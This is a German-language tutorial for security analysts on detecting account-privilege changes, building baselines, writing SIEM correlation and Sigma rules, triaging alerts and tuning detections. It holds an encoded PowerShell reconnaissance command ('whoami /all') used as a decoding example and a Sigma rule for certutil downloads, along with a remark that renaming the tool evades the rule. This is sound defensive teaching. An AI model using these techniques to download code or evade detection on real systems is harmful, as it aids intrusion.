Ein Dienstkonto, das sich interaktiv anmeldet, eine erfolgreiche Anmeldung beim Konto eines ausgeschiedenen Mitarbeiters oder ein neues Gerät zusammen mit einem neuen Standort können auf gestohlenen Zugriff hindeuten. Wiederholte, regelmäßige Fehlversuche von einem internen Gerät passen oft zu einem veralteten gespeicherten Passwort. Verfolge, ob auf Fehlversuche Erfolge und Aktionen folgen, und prüfe sowohl Benutzer- als auch Workload-Identitäten.

Ein Angreifer, der Zugriff erlangt, kann weitere Zugangsdaten erstellen oder Berechtigungen hinzufügen, um weiter agieren zu können. Änderungen an sensiblen Konten und Rollen sind oft selten genug, um sie genau zu prüfen, insbesondere wenn sie auf eine ungewöhnliche Anmeldung folgen.

Bestimme Akteur, Zielobjekt und Änderung

Lies fünf Angaben: Wer hat gehandelt, welches Konto oder welche Ressource wurde geändert, was wurde wann und von wo aus geändert? Bei einem Kontoänderungsereignis ist das Subjekt der Akteur und das Zielobjekt das betroffene Konto. Vergleiche die Aktion anschließend mit einem genehmigten Antrag und damit, was der Akteur normalerweise verwaltet.

Zu den Windows-Ereignissen gehören 4720 für die Kontoerstellung, 4722 für die Aktivierung, 4724 für einen Versuch, ein Passwort zurückzusetzen, und 4738 für Kontoänderungen. Das Hinzufügen von Mitgliedern erscheint als 4728, 4732 und 4756 für sicherheitsaktivierte globale, lokale und universelle Gruppen. Prüfe sensible Gruppen wie Domänen-Admins, Organisations-Admins, Schema-Admins und lokale Administratoren. Verschachtelte Mitgliedschaften sind wichtig: Auch eine Änderung an einer Gruppe innerhalb einer privilegierten Gruppe kann wirksame Berechtigungen verleihen.

Ereignis 4672 weist bei einer neuen Anmeldung spezielle Berechtigungen zu. Es tritt bei routinemäßigen Administratoraufgaben und Aktivitäten von Systemkonten auf. Frag dich, ob dieses Konto die Berechtigungen haben sollte und ob der Ursprung dieser Anmeldung erwartet wird; würde jedes 4672 als Eskalationsgrund gezählt, entstünden viele irrelevante Meldungen.

Stelle dieselben Fragen für die Cloud

Untersuche in AWS CreateUser, CreateAccessKey, Aktionen zum Anfügen von Richtlinien oder für Inline-Richtlinien und UpdateAssumeRolePolicy. Eine Änderung der Vertrauensrichtlinie kann einem anderen Konto die Übernahme einer Rolle ermöglichen. Lies die tatsächliche Berechtigungs- oder Vertrauensänderung, nicht nur ihren Aktionsnamen.

Entra-Auditereignisse können hinzugefügte Rollen, neue Zugangsdaten für Dienstprinzipale, Anwendungszustimmungen, MFA-Registrierungen und Änderungen am bedingten Zugriff zeigen. Ein geheimer Schlüssel oder ein Zertifikat, das zu einer Anwendungsidentität mit weitreichenden Rechten hinzugefügt wird, kann Zugriff ohne MFA-Anfrage an eine Person erhalten. Eine OAuth-Zustimmung kann einer App dauerhaft Zugriff auf E-Mails oder Dateien geben, selbst nachdem das Passwort eines Benutzers geändert wurde; prüfe die Zustimmung selbst.

Verbinde die Ereignisse rund um eine Berechtigungsänderung

Um 23:40 Uhr UTC fügt das Helpdesk-Konto hd-ops3 svc-backup ohne Ticket zu den Domänen-Admins hinzu. Um 23:31 Uhr hatte sich der Akteur über einen unerwarteten VPN-Ursprung angemeldet; um 23:44 Uhr greift das Zielkonto über RDP auf DC02 zu. Der ungewöhnliche Akteur, die fehlende Genehmigung, der riskante vorherige Zugriff und die sofortige Nutzung des neuen Rechts stützen eine Eskalation.

Zwölf Konten, die um 07:00 Uhr vom Identitätsmanagementdienst erstellt wurden und zur Eintrittsliste passen, ergeben ein anderes Bild. Eine Genehmigung ist ein zu prüfender Beleg, keine Annahme aufgrund des Namens eines Administrators.

Konzentriere die Überwachung auf privilegierte Mitgliedschaften, Rollen mit weitreichenden Rechten, Dienstkonten, Zugangsdaten, Zustimmungen und Änderungen außerhalb der normalen Kanäle. Wer nur die Kontoerstellung überwacht, übersieht einen Angreifer, der ein vorhandenes Konto oder eine Anwendung ändert. Halte Ereigniskennungen, Werte vor und nach der Änderung sowie den Genehmigungsverweis in der Triage-Dokumentation fest, damit die Entscheidung überprüft werden kann.

Eine Baseline beschreibt das normale Verhalten einer Entität über einen Referenzzeitraum. Eine Anomalie ist eine deutliche Abweichung davon. Ungewöhnliche Aktivität braucht eine Erklärung: Sie kann ein Angriff, eine geschäftliche Änderung oder ein Datenproblem sein.

Vergleiche die richtigen Dinge

Eine zweckmäßige Baseline kann Volumen, Zeitmuster, Beziehungen oder Konfiguration beschreiben. Beispiele sind Bytes pro Tag, übliche Arbeitszeiten, normale Ziele, freigegebene Software und offene Ports. Eine Vergleichsgruppen-Baseline vergleicht Personen oder Systeme mit ähnlichen Aufgaben. Das hilft, wenn für eine Entität nur wenige historische Daten vorliegen.

Wähle zuerst die Entität und die Kennzahl. Nutze mehrere Wochen, um wöchentliche Zyklen zu erfassen, und beziehe gegebenenfalls Spitzen zum Monats- oder Quartalsende ein. Entferne bekannte Sicherheitsvorfälle und Ausfälle aus den Trainingsdaten. Vergleiche Montag um 09:00 Uhr mit ähnlichen Zeiträumen an Montagen, nicht mit einem ruhigen Sonntag. Neue Software, organisatorische Änderungen und saisonale Aktivitäten erfordern eine Überprüfung; andernfalls wird gewöhnlicher Wandel zu einem Strom von Anomalien.

Berechne und interpretiere die Abweichung

Der Mittelwert misst die durchschnittliche Höhe, und die Standardabweichung misst die Streuung. Ein z-Wert drückt den Abstand vom Mittelwert in Einheiten der Standardabweichung aus:

Für FS01 haben die ausgehenden Tagesvolumen von zehn Arbeitstagen einen Mittelwert von 4,1 GB und eine Stichprobenstandardabweichung von etwa 0,26 GB. Ein Schwellenwert von drei Standardabweichungen liegt bei Verwendung der ungerundeten Streuung bei etwa 4,87 GB. Die heutigen 9,6 GB haben einen z-Wert von ungefähr 21. Die nächsten Suchen sollten Ziel, Prozess oder Konto und geplante Arbeiten klären; der statistische Wert allein kann keine Ursache liefern.

Mittelwert plus drei Standardabweichungen ist ein Ausgangsansatz für annähernd glockenförmige Verteilungen. Sicherheitsvolumen sind oft schief verteilt: Es gibt viele kleine und einzelne sehr große Beobachtungen. Mediane und Perzentile können nützlichere Vergleiche ermöglichen. Ein Schwellenwert oberhalb des historischen 99. Perzentils erkennt eine ungewöhnlich große Beobachtung, ohne eine glockenförmige Verteilung vorauszusetzen. Er hängt weiterhin von einem repräsentativen Referenzzeitraum ab.

Kombiniere schwache Signale pro Entität

Die Analyse des Benutzer- und Entitätsverhaltens, kurz UEBA, erstellt Verhaltensprofile, oft mithilfe von maschinellem Lernen und Vergleichsgruppen. Risikobasierte Alarmierung addiert Werte für dieselbe Entität über einen Zeitraum. Eine Anmeldung aus einem neuen Land mit 40 Punkten, die erste Nutzung eines Administrationswerkzeugs mit 30 und ein großer Download mit 45 ergeben innerhalb von 24 Stunden zusammen 115. Bei einem Schwellenwert von 100 ergibt die kombinierte Alarmmeldung ein aussagekräftigeres Bild als drei separate schwache Meldungen.

Die Identität und das Zeitfenster sind entscheidend. Würden die Werte nicht zusammengehöriger Benutzer addiert, entstünde ein anderes und irreführendes Ergebnis. Werte ordnen Belege ein; sie sind keine Wahrscheinlichkeiten, sofern das System sie nicht ausdrücklich so definiert.

Eine vergiftete Baseline kann Angreiferverhalten als normal lernen. Auch langsame, unauffällige Aktivität kann unter einem Volumenschwellenwert bleiben, etwa wenn zusätzlich zu den üblichen 4 GB täglicher Übertragung eines Servers 200 MB anfallen. Kombiniere Anomalielogik mit Regeln für bekanntes Verhalten und Statusprüfungen der Datenquellen und bewerte Schwellenwerte neu, wenn sich normale Aktivitäten ändern.

Ein Security Information and Event Management-System (SIEM) erfasst, parst, normalisiert, speichert und durchsucht Ereignisse und wendet anschließend Regeln oder Analysen an, um Alarmmeldungen auszulösen. Korrelation verknüpft Ereignisse, die innerhalb einer Zeitspanne eine Identität, einen Host, eine Adresse, eine Sitzung oder ein anderes Merkmal gemeinsam haben. SOAR-Werkzeuge können die Bearbeitung der entstehenden Alarmmeldungen automatisieren.

Formuliere die Bestandteile der Regel

Jede Regel benötigt einen Filter, einen Gruppierungsschlüssel, ein Zeitfenster, eine Aggregation, eine Bedingung und eine Alarmausgabe. Lege jeden Bestandteil fest, bevor du eine produktspezifische Syntax wählst.

Der Gruppierungsschlüssel bestimmt, was die Regel erkennen kann. Zählungen pro Konto zeigen konzentrierte Rateversuche. Unterschiedliche Benutzer pro Quelle zeigen Password Spraying von einer einzelnen Quelle. Unterschiedliche Quellen pro Konto zeigen verteilte Angriffe auf dieses Konto. Verteiltes Password Spraying über verschiedene Konten und Adressen hinweg kann unter all diesen Schwellenwerten bleiben; untersuche gemeinsame Zielanwendungen, Zeitmuster, Clientmerkmale oder Änderungen der gesamten Fehlversuchsrate.

Bearbeite eine Sequenz

Wähle zunächst fehlgeschlagene Authentifizierungen, gruppiert nach user.name und source.ip, mit mindestens 10 Fehlversuchen innerhalb von 5 Minuten. Verlange dann einen Erfolg für denselben Benutzer und dieselbe Quelle innerhalb der folgenden 10 Minuten. Zwölf Fehlversuche von jdoe aus 198.51.100.20 zwischen 10:03:10 und 10:06:40 Uhr, gefolgt von einem Erfolg um 10:07:05 Uhr, erfüllen beide Stufen. Ein Erfolg für einen anderen Benutzer darf die Sequenz nicht abschließen.

Sigma kann Korrelationen über Basisregeln mit type, rules, group-by, timespan und condition ausdrücken. Zu den Typen gehören event_count, value_count, temporal und temporal_ordered. Eine Ereigniszählkorrelation über einer Regel für fehlgeschlagene Anmeldungen kann nach TargetUserName gruppieren, 5m verwenden und gte: 10 verlangen. Die Umwandlung für ein Backend benötigt weiterhin korrekte Feldzuordnungen und unterstützte Semantik.

Passe die Zeitsteuerung an das beabsichtigte Muster an

Feste Zeitfenster teilen die Zeit in Blöcke. Sechs Fehlversuche in 10:00–10:05 Uhr und vier in 10:05–10:10 Uhr erreichen in keinem Block zehn. Ein gleitendes Fünf-Minuten-Fenster kann alle zehn erfassen, wenn die Häufung hineinpasst. Längere Fenster können langsamere Angriffe erfassen und benötigen mehr Rechenleistung. Die Verzögerung der Alarmmeldung hängt von der Ausführungshäufigkeit, der Erfassungsverzögerung und davon ab, ob die Auswertung auf das Ende eines Fensters wartet.

Verwende den Ereigniszeitpunkt und berücksichtige verspätete Eingänge mit geeigneter Verzögerung oder einem geeigneten Rückblick. Normalisiere quellenübergreifende Felder, behebe Uhrenprobleme und entferne wiederholte Zustellungen anhand der Ereignisidentität vor dem Zählen. Auch überlappende Regelläufe benötigen eine Gruppierung der Alarmmeldungen, damit dieselbe Häufung die Warteschlange nicht überflutet.

Die Alarmmeldung sollte Regelzweck, Benutzer oder Host, Adressen, Anzahlen, erste und letzte Zeitpunkte, Schweregrad, Links zu Rohereignissen und Triage-Hinweise enthalten. Prüfe benötigte Daten und lokale Volumen vor der Bereitstellung: Korrelation kann kein Ereignis rekonstruieren, das die Quelle nie aufgezeichnet hat.

Eine Alarmmeldung kann technisch korrekt sein, ohne dass ein Sicherheitsvorfall behandelt werden muss. Verwende einheitliche Ergebnisbezeichnungen, damit Abschlussdokumentationen helfen, Erkennungsregeln zu verbessern, statt die Gründe für das Schließen von Alarmmeldungen zu verbergen.

Unterscheide das Verhalten von seiner Bedeutung

Ein autorisierter Schwachstellenscanner scannt tatsächlich. Erkennt eine Scanregel ihn, ist das ein gutartiges richtig positives Ergebnis. Ein Parserfehler, durch den normaler Datenverkehr wie ein Scan erscheint, ist ein falsch positives Ergebnis. Verschiedene Teams verwenden Bezeichnungen unterschiedlich; für den Betrieb sind eine einheitliche Definition und ein dokumentierter Grund entscheidend.

Die Genauigkeit der Verhaltensübereinstimmung fragt, ob das beschriebene Verhalten aufgetreten ist. Die Präzision der Alarmmeldungen fragt hier, welcher Anteil aller Alarmmeldungen als bösartig bestätigt wurde. Ihr Nenner umfasst falsch positive und gutartige richtig positive Ergebnisse:

Sechs bösartige Alarmmeldungen unter insgesamt 200 ergeben 3 % Präzision. Wenn viele korrekte, aber autorisierte Treffer auf den Scanner zurückgehen, kann die Genauigkeit der Verhaltensübereinstimmung gut sein, während die Präzision der Alarmmeldungen niedrig ist. Das spricht dafür, den operativen Geltungsbereich der Regel zu ändern, statt ihre Beobachtungen als falsch auszugeben.

Berücksichtige, was übersehen wurde

Die Sensitivität misst den Anteil der tatsächlich bösartigen Aktivitäten, die erkannt wurden:

Übersehene Fälle können durch Sicherheitsvorfälle, Threat Hunting, Red-Team-Arbeit oder kontrollierte Tests bekannt werden. Ohne solche Belege sagt eine ruhige Warteschlange wenig über die Sensitivität aus. Ein höherer Schwellenwert kann irrelevante Alarmmeldungen beseitigen und dabei langsamere Angriffe übersehen. Bewerte daher sowohl erkanntes als auch übersehenes Verhalten.

Die Basisrate ist relevant, weil Angriffe unter gewöhnlichen Ereignissen selten sind. Eine Fehlauslöserate von 0,1 % bei ungefähr zwei Millionen harmlosen Ereignissen erzeugt etwa 2.000 falsche Alarmmeldungen. Selbst ein kleiner Prozentsatz kann ein Team überfordern. Aggregation, besserer Kontext und Risikobewertung können schwache Signale nützlicher machen.

Entscheide, was zuerst Aufmerksamkeit braucht

Der Schweregrad beschreibt, wie ernst die erkannte Aktivität wäre, wenn sie tatsächlich vorliegt. Die Priorität bestimmt anhand von Schweregrad, Vertrauensgrad und Kritikalität des Assets oder Benutzers die Bearbeitungsreihenfolge. Eine Alarmmeldung mittleren Schweregrads auf einem Domänencontroller kann dringender sein als eine Meldung hohen Schweregrads auf einem isolierten Testrechner.

Wiederholte Alarmmeldungen mit geringem Nutzen erzeugen Alarmmüdigkeit: Analysten überfliegen Meldungen, und echte Angriffe werden leichter übersehen. Jede Alarmmeldung in der Warteschlange sollte eine Handlung oder Entscheidung unterstützen. Halte Beobachtungen, die keine Handlung ermöglichen, in Protokollen oder Dashboards verfügbar. Dokumentiere Belege und Gründe für den Abschluss, damit die Verantwortlichen bei der Feinabstimmung schlechtes Parsing, autorisiertes Verhalten, doppelte Ausgaben und tatsächliche bösartige Erkennungen unterscheiden können.

Triage ist die erste Bewertung, ob eine Alarmmeldung auf eine tatsächliche Aktivität hinweist, wie dringend sie ist und was als Nächstes geschehen soll. Arbeite innerhalb der Reaktionsziele des Teams und entscheide anhand der Priorität, welche Alarmmeldung du zuerst untersuchst.

Folge einem wiederholbaren Ablauf

1. Verstehen. Lies Zweck und Logik der Regel, Entitäten, Zeitraum und Runbook. Kenne das Verhalten, das die Regel erkennen soll, und die erwarteten harmlosen Ursachen.
2. Validieren. Öffne die Rohereignisse. Prüfe Parsing, Zeitstempel, Host und Identität, Ereignisergebnis, Duplikate und Testdaten. Ein überzeugender Titel kann eine falsche Quellfeldzuordnung nicht beheben.
3. Kontext ergänzen. Prüfe Asset-Rolle und -Eigentümer, Berechtigungen, normale Aktivitäten, Änderungstickets, geplante Tests, Indikatorreputation und frühere Abschlüsse.
4. Ausmaß ermitteln. Suche nach zugehörigen Hosts, Benutzern, Zielen, Hashwerten und Alarmmeldungen vor und nach dem Treffer. Erstelle eine kurze Zeitleiste in UTC.
5. Entscheiden und dokumentieren. Schließe mit einem belegten Ergebnis ab, beobachte mit Begründung weiter oder eskaliere einen vermuteten Sicherheitsvorfall.

Ein behauptetes Wartungsfenster benötigt einen passenden Genehmigungseintrag. Ein bekanntes Administratorkonto kann selbst kompromittiert sein. Kontextprüfungen sollten die plausible Erklärung überprüfen, statt sie einfach zu übernehmen.

Bearbeite die Alarmmeldung zu Password Spraying

Die Alarmmeldung berichtet, dass 198.51.100.77 von 10:00 bis 10:20 Uhr UTC Anmeldeversuche gegen 46 Konten unternimmt. Rohe 4625-Datensätze zeigen 41 Ergebnisse mit falschem Passwort und fünf mit unbekanntem Benutzer, alle vom Typ 3. Die Adresse gehört nicht zu einem autorisierten Scanner und es ist kein Penetrationstest geplant.

Suche nach Erfolgen vom selben Ursprung im selben Zeitraum. Ein 4624-Ereignis für m.tanaka erscheint um 10:21 Uhr, gefolgt von Postfachzugriff um 10:24 Uhr. Diese Folgeereignisse erhöhen Vertrauensgrad und Dringlichkeit gegenüber einer Reihe blockierter Rateversuche. Dokumentiere, welches Konto erfolgreich war und bei welchen Konten kein Erfolg beobachtet wurde. Das Fehlen eines Erfolgs in den verfügbaren Protokollen muss auf diesen Suchumfang bezogen bleiben.

Die Entscheidung lautet, die Aktivität als bösartig mit hoher Priorität zu eskalieren. Hänge Rohdatensätze, Abfragen, Genehmigungsprüfungen und Zeitleiste an. Reputationsberichte stützen die Entscheidung, die verknüpften Authentifizierungs- und Postfachaktionen bilden aber den Hauptbeleg.

Hinterlasse eine Dokumentation für andere Analysten

Eine Abschlussdokumentation nennt die geprüften Punkte, relevante Ereignis-IDs und Zeiten, den Suchumfang, unterstützende Belege, die Begründung und das Ergebnis. Gib bei einem gutartigen richtig positiven Ergebnis den Genehmigungsverweis und die bestätigende Person an. Erkläre bei einem falsch positiven Ergebnis die fehlende Übereinstimmung und stelle bei Wiederholung eine Anfrage zur Feinabstimmung.

Eine Übergabe bei der Eskalation nennt, was wann geschah, betroffene Entitäten, Belege, bewerteten Schweregrad und Vertrauensgrad, offene Fragen und unmittelbare Risiken wie eine aktive Sitzung oder eine laufende ausgehende Übertragung. Das Team zur Behandlung von Sicherheitsvorfällen muss beobachtete Tatsachen von Hypothesen unterscheiden können. Wenn die Auswirkungen hoch sein könnten und wesentliche Zweifel bestehen, eskaliere und benenne die Unsicherheit klar, statt auf jede mögliche Prüfung zu warten.

Setze für Aufgaben niedriger Priorität ein Zeitlimit, damit sie kritische Alarmmeldungen nicht verdrängen. Speichere genügend Details zu Abfragen und Ergebnissen, damit der nächste Analyst die Suche wiederholen und anhand derselben Belege fortfahren kann.

Eine gute Untersuchungsabfrage beantwortet eine konkrete Frage. Beginne mit der Zeit und Entität der Alarmmeldung, wähle nützliche Felder und sortiere nach Ereigniszeitpunkt. Erweitere die Suche, wenn ein Ergebnis dir dafür einen Grund gibt.

Gehe von einem Hinweis zu verwandten Belegen über

Eine herstellerneutrale Abfrage könnte nach Authentifizierungsereignissen von 198.51.100.77 über 24 Stunden fragen, gruppiert nach user.name und event.outcome. Zählungen zeigen das Ausmaß; die Rohzeilen belegen genaue Aktionen und Zeiten. Eine einzige Suche über Monate und alle Quellen ist oft langsam und schwer zu interpretieren.

Pivoting folgt einer Beziehung: von der Adresse zu den Hosts, die sie kontaktierten, vom Host zum auslösenden Prozess, vom Prozess zum Benutzer und vom Benutzer zu Anmeldungen. Notiere bei jedem Schritt Abfrage, Zeitgrenzen, Kennungen und Ergebnis. Gleiche Prozesskennungen und Ereigniszeiten ab, wo sie verfügbar sind; eine wiederverwendete Adresse oder Prozessnummer kann sonst eine falsche Verknüpfung erzeugen.

Dekodiere ohne Ausführung

PowerShell -EncodedCommand verwendet Base64-kodierten UTF-16LE-Text. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== ergibt dekodiert whoami /all. Wähle nach dem Dekodieren der Bytes die richtige Textkodierung. Ein Werkzeug wie CyberChef kann Schritte verketten; dokumentiere die Schichten und bewahre den ursprünglichen Wert auf. Die Dekodierung macht Text zur Prüfung sichtbar; der Befehl muss dafür nicht ausgeführt werden.

Ergänze externen Kontext sicher

Registrierungsinformationen, Domänenalter, Netzwerkzugehörigkeit, geografische Zuordnung, IP-Reputation, Hashwertabfragen und vorhandene Sandbox-Berichte können die nächste Suche leiten. Eine kürzlich registrierte Domäne oder eine gemeldete Adresse aus einer gemeinsam genutzten Cloud benötigt weitere Belege. Eine unauffällige Reputation kann auf eine neue oder selten beobachtete Bedrohung zurückgehen.

Schütze Untersuchungsdaten: Verwende freigegebene Abfragewerkzeuge und isolierte Sandboxes, frage einen Hashwert ab, statt eine sensible Datei zu einem öffentlichen Scanner hochzuladen, und vermeide direkte Aufrufe verdächtiger Infrastruktur aus dem Unternehmensnetzwerk. Öffentliche Uploads können vertrauliche Dateien offenlegen oder einem Angreifer eine Untersuchung verraten.

KI-Assistenten können Protokolle zusammenfassen, Befehle erklären oder Suchen entwerfen. Prüfe ihre vorgeschlagenen Felder und Schlussfolgerungen anhand von Rohereignissen und Dokumentation. Verwende Werkzeuge, die die Datenrichtlinie der Organisation erlaubt. Behandle von Angreifern kontrollierte Protokollzeichenfolgen, einschließlich User-Agents und Dateinamen, als Daten, auch wenn sie Anweisungen an ein KI-System enthalten.

Halte Listen von Entitäten auseinander

Ein Proxy-Pivot ausgehend von einem Host findet drei weitere, die dieselbe Adresse kontaktieren: Vier Hosts hatten Kontakt. Eine E-Mail-Suche findet 14 Empfänger eines Dokuments. Das sind unterschiedliche Gruppen. Bestätige die Ausführung auf den Hosts anhand von Endgerätebelegen und ordne Empfänger ihren Geräten zu, bevor du den Untersuchungsumfang erweiterst. Netzwerkkontakt allein lässt die Ausführung offen, und die Anzahl der Hosts von der Anzahl der Empfänger abzuziehen, ergibt kein aussagekräftiges Ergebnis.

Detection Engineering behandelt Regeln als wiederholbaren Prozess aus Entwurf, Tests und Pflege. Bei Detection as Code liegen sie mit Überprüfung und automatisierten Prüfungen in der Versionsverwaltung, sodass eine Änderung erklärt und nachvollzogen werden kann.

Beginne mit Verhalten und Daten

Leite die Anforderung aus einer relevanten Bedrohung, einem Sicherheitsvorfall, einer ATT&CK-Technik, einem Red-Team-Befund oder einer bekannten Lücke ab. Bestimme die Quelle und Felder, die das Verhalten zeigen. Bestätige Erfassung, Parsing und Normalisierung, bevor du die Logik schreibst. Schreibe, teste, dokumentiere, implementiere, stimme die Erkennungsregel fein ab, überprüfe sie und nimm sie schließlich außer Betrieb.

Atomare Indikatoren wie ein einzelner Datei-Hashwert können ein bekanntes Artefakt schnell identifizieren. Verhaltensregeln, etwa für ein Office-Programm, das einen Skriptinterpreter startet, überstehen mehr Änderungen am Artefakt. Ordne das Verhalten relevanten ATT&CK-Techniken zu, zum Beispiel T1059.001 für PowerShell oder T1105 für die Übertragung von Werkzeugen ins Zielsystem. Eine Kennzeichnung hält die beabsichtigte Abdeckung fest; ein erfolgreicher Test belegt, dass die lokale Implementierung das Verhalten tatsächlich erkennt.

Lies eine Sigma-Regel

Sigma ist ein übertragbares YAML-Erkennungsformat. Eine Regel hat title, logsource und detection. Attribute der Protokollquelle wie product, category und service wählen geeignete Daten aus; verwende die Kombination, die die Quelle identifiziert. Benannte Selektionen beschreiben Treffer und condition kombiniert sie. Mehrere Felder in einer Selektion verwenden UND; eine Liste von Werten verwendet normalerweise ODER. Modifikatoren wie contains, endswith und all ändern den Abgleich.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Diese Regel verlangt, dass der Pfad der ausführbaren Datei auf \certutil.exe endet und die Befehlszeile sowohl urlcache als auch http enthält. Sie benötigt Prozesserstellungsereignisse mit Befehlszeilen, etwa Sysmon 1 oder ein passend konfiguriertes 4688. Konvertiere sie und prüfe sie anhand der Feldzuordnungen des Backends. Das Umbenennen der ausführbaren Datei kann gerade diese Image-Prüfung umgehen; dokumentiere daher diese Einschränkung.

Teste und mache die Alarmmeldung nutzbar

Spiele Ereignisse, die bösartigen Aktivitäten ähneln, erneut ab oder führe genehmigte sichere Simulationen in einer Testumgebung durch. Bestätige die erwartete Alarmmeldung und ihre Entitätsfelder. Werte historische normale Daten aus, beispielsweise 30 Tage, um irrelevante Meldungen abzuschätzen. Beziehe Grenzfälle ein: Groß- und Kleinschreibung, Anführungszeichen, Abstände, fehlende Felder, umbenannte Werkzeuge und plausible administrative Nutzungen. Ein Test, der einmal auslöst, belegt weniger als ein positiver Test zusammen mit Grenzfalltests und Tests auf irrelevante Meldungen.

Dokumentiere Zweck, benötigte Quellen, Logik, ATT&CK-Zuordnung, Schweregrad, bekannte harmlose Ursachen, Triage-Schritte, Testnachweise, erwartetes Volumen, Verantwortlichen und Überprüfungsdatum. Eine Einführung nur im Überwachungsmodus ermöglicht dem Team, reale Ausgaben zu prüfen, bevor es sich im Betrieb darauf verlässt. Regeln brauchen einen Verantwortlichen, der reagiert, wenn sich Quelllayouts oder geschäftliche Aktivitäten ändern.

Feinabstimmung verändert Regellogik, Schwellenwerte, Geltungsbereich oder Kontext, damit Alarmmeldungen eher eine Handlung ermöglichen und die beabsichtigte Erkennung erhalten bleibt. Beginne mit Abschlussdokumentationen: Schlechtes Parsing, autorisiertes Verhalten und wiederholte Ausgaben benötigen unterschiedliche Lösungen.

Wähle eine zur Ursache passende Änderung

Verwende für bekanntes autorisiertes Verhalten eine eng gefasste Ausnahme. Ergänze für nicht zusammengehörige Ereignisse eine aussagekräftige Bedingung wie Elternprozess, vollständigen Pfad, Befehlszeilenelement, Identitätsrolle oder Asset-Kontext. Passe Schwellenwerte und Zeitfenster an gemessene Aktivitäten an. Gruppiere wiederholte Treffer zu einer Alarmmeldung pro Entität und Zeitraum. Ein schwaches Signal kann zur Risikobewertung beitragen, statt einen separaten Eintrag in der Warteschlange zu erzeugen.

Ausschlüsse brauchen einen Verantwortlichen, einen Grund und ein Überprüfungs- oder Ablaufdatum. Schließe die konkrete Adresse und Identität eines Scanners für die Scanregel gemäß seinem genehmigten Zeitplan aus. Ein Ausschluss von ganz 10.0.0.0/8 würde die Regel für interne Angriffe blind machen. Eine Ausnahme für Datensicherungen sollte einen vertrauenswürdigen vollständigen Pfad und Signaturgeber verwenden; Schadsoftware kann einen Dateinamen wie backup.exe übernehmen. Ein ganzer beschreibbarer Ordner wie C:\Temp\ ist eine unsichere Abkürzung.

Miss die durchgearbeitete Änderung

Eine Scanregel erzeugt in einem Monat 200 Alarmmeldungen; sechs werden als bösartig bestätigt. Die Präzision der Alarmmeldungen beträgt 3 %. Die Triage findet 150 Treffer des autorisierten Scanners von 10.0.9.15 während seines Scanfensters. Wird diese Quelle für diese Regel und dieses Fenster ausgeschlossen, bleiben 50 Alarmmeldungen, darunter dieselben sechs bösartigen:

Das Volumen sinkt um 75 %. Die beobachteten bösartigen Erkennungen bleiben erhalten, und Scans dieses Hosts außerhalb seines Fensters lösen weiterhin Alarmmeldungen aus. Dieses rückblickende Ergebnis deckt nicht jeden zukünftigen Angriffsweg ab; teste auch bösartige Aktivitäten nahe der Ausschlussgrenze, einschließlich eines möglichen Missbrauchs eines freigegebenen Systems.

Eine Erhöhung des Fehlversuchsschwellenwerts von 10 auf 50 in fünf Minuten kann gewöhnliche Wiederholungsversuche unterdrücken, übersieht aber auch Angriffe zwischen diesen Werten. Das Deaktivieren der Regel beseitigt ihre Abdeckung vollständig. Wiederhole nach jeder Feinabstimmung positive Tests und prüfe, welche zuvor erkannten Fälle nun wegfallen.

Halte Qualität und Datenstatus sichtbar

Überwache das Volumen pro Regel, bestätigte bösartige Erkennungen, Präzision und bekannte übersehene Fälle. Eine Falsch-Positiv-Rate braucht einen definierten Nenner; der Anteil der als falsch positiv geschlossenen Alarmmeldungen ist eine andere Kennzahl als die Rate über harmlose Ereignisse hinweg. Dokumentiere, welche Kennzahl das Team berichtet.

Die mittlere Erkennungszeit misst die Verzögerung vom Beginn der bösartigen Aktivität bis zur Erkennung. Die mittlere Reaktionszeit erfasst das vom Team definierte Reaktionsintervall. Halte diese Definition beim Vergleich von Zeiträumen einheitlich. Überprüfe die getestete Abdeckung priorisierter ATT&CK-Techniken zusammen mit Quellenstatus, fehlenden Feldern, Parsing-Fehlern und Rückstaus. Eine niedrigere Anzahl von Alarmmeldungen nach einem Parserausfall ist ein Überwachungsfehler.

Teste nach Änderungen an Quellen oder Parsern erneut, überprüfe auslaufende Ausnahmen, nimm veraltete Regeln außer Betrieb und ergänze Erkennungsregeln für neu relevante Verhaltensweisen. Purple-Team-Übungen und Breach-and-Attack-Simulationen können Lücken aufdecken, bevor ein tatsächlicher Sicherheitsvorfall dies tut. Speichere Änderungen und Testergebnisse zusammen mit der Regel, damit bei der nächsten Überprüfung sichtbar ist, warum ihre aktuellen Grenzen bestehen.